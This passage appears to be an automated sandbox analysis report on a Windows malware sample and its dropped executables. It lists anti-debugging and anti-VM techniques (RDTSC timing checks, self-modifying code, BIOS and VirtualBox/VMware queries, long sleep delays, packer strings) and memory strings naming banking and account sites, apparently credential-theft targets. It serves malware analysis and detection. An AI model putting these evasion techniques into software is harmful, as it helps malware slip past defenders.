Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 242791 second address: 24279C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F0DD07A5D16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 240965 second address: 24096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24096B second address: 24097E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0DD07A5D1Eh 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24097E second address: 240988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0DD0C38CF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 240988 second address: 24098C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24098C second address: 2409A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD0C38CFEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 241058 second address: 241060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24132E second address: 241332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 241332 second address: 241347 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D21h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 241347 second address: 241367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0DD0C38D08h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24160E second address: 241632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F0DD07A5D2Eh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 241632 second address: 241638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 241638 second address: 24163C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24163C second address: 241640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 241640 second address: 241646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 241E6F second address: 241E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 241E77 second address: 241E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F0DD07A5D20h 0x0000000b jnp 00007F0DD07A5D16h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 241E9D second address: 241EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 jmp 00007F0DD0C38D08h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 241EC1 second address: 241EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2422FF second address: 242304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 242304 second address: 242316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F0DD07A5D16h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2425D3 second address: 2425D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2425D9 second address: 2425FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD07A5D24h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e je 00007F0DD07A5D16h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2425FC second address: 242602 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 242602 second address: 242608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 246A64 second address: 246A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 246A6A second address: 246A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 246A6E second address: 246A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F0DD0C38D0Dh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F0DD0C38D05h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 246A93 second address: 246A9D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0DD07A5D1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2489B1 second address: 2489B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24A16E second address: 24A18D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0DD07A5D24h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24A18D second address: 24A194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 214529 second address: 214533 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0DD07A5D16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 214533 second address: 214556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0DD0C38CFCh 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0DD0C38CFEh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 214556 second address: 214572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F0DD07A5D26h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 214572 second address: 214589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38CFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 214589 second address: 21458D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2373ED second address: 2373F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24E760 second address: 24E76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jno 00007F0DD07A5D22h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24E896 second address: 24E8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24E8A7 second address: 24E8AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24E8AD second address: 24E8CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38D08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24E9E6 second address: 24E9EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24F2F6 second address: 24F337 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0DD0C38D00h 0x00000008 jmp 00007F0DD0C38CFAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F0DD0C38CFCh 0x00000018 mov eax, dword ptr [eax] 0x0000001a jmp 00007F0DD0C38D02h 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24F337 second address: 24F3E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0DD07A5D28h 0x0000000e popad 0x0000000f pop eax 0x00000010 call 00007F0DD07A5D19h 0x00000015 jmp 00007F0DD07A5D23h 0x0000001a push eax 0x0000001b jmp 00007F0DD07A5D24h 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 pushad 0x00000025 pushad 0x00000026 je 00007F0DD07A5D16h 0x0000002c jmp 00007F0DD07A5D29h 0x00000031 popad 0x00000032 jp 00007F0DD07A5D18h 0x00000038 popad 0x00000039 mov eax, dword ptr [eax] 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e jnl 00007F0DD07A5D16h 0x00000044 jmp 00007F0DD07A5D1Fh 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24F3E0 second address: 24F3F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d je 00007F0DD0C38CF8h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24FA9D second address: 24FAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F0DD07A5D16h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 24FEBC second address: 24FEC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Special instruction interceptor: First address: 447A08 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Special instruction interceptor: First address: 5E7549 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Special instruction interceptor: First address: 5E5F20 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Special instruction interceptor: First address: 613B65 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Special instruction interceptor: First address: 673F20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Special instruction interceptor: First address: D1FC73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Special instruction interceptor: First address: D1FB9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Special instruction interceptor: First address: D1D6BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Special instruction interceptor: First address: EF5D3B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Special instruction interceptor: First address: A3CC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Special instruction interceptor: First address: A3368 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Memory allocated: 4EA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Memory allocated: 50C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Memory allocated: 4EC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Code function: 3_2_0021E134 rdtsc

3_2_0021E134

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Code function: 3_2_0023425C sidt fword ptr [esp-02h]

3_2_0023425C

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe TID: 6600	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe TID: 3732	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe TID: 936	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe TID: 2572	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe, HIX4V53EFUK0JCGHMC1S24CIQ.exe, 00000003.00000001.1679747795.0000000000226000.00000080.00000001.01000000.00000006.sdmp, HIX4V53EFUK0JCGHMC1S24CIQ.exe, 00000003.00000002.1829110680.0000000000226000.00000040.00000001.01000000.00000006.sdmp, A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1781147153.0000000000EAB000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'{
Source: ABnDy7rLFS.exe, ABnDy7rLFS.exe, 00000000.00000003.1570453711.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1427404122.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1553211494.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1552906796.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1501541739.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.0000000001193000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.0000000005784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.000000000114E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: ABnDy7rLFS.exe, 00000000.00000003.1453025737.000000000577F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe, 00000003.00000001.1679747795.0000000000226000.00000080.00000001.01000000.00000006.sdmp, HIX4V53EFUK0JCGHMC1S24CIQ.exe, 00000003.00000002.1829110680.0000000000226000.00000040.00000001.01000000.00000006.sdmp, A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1781147153.0000000000EAB000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
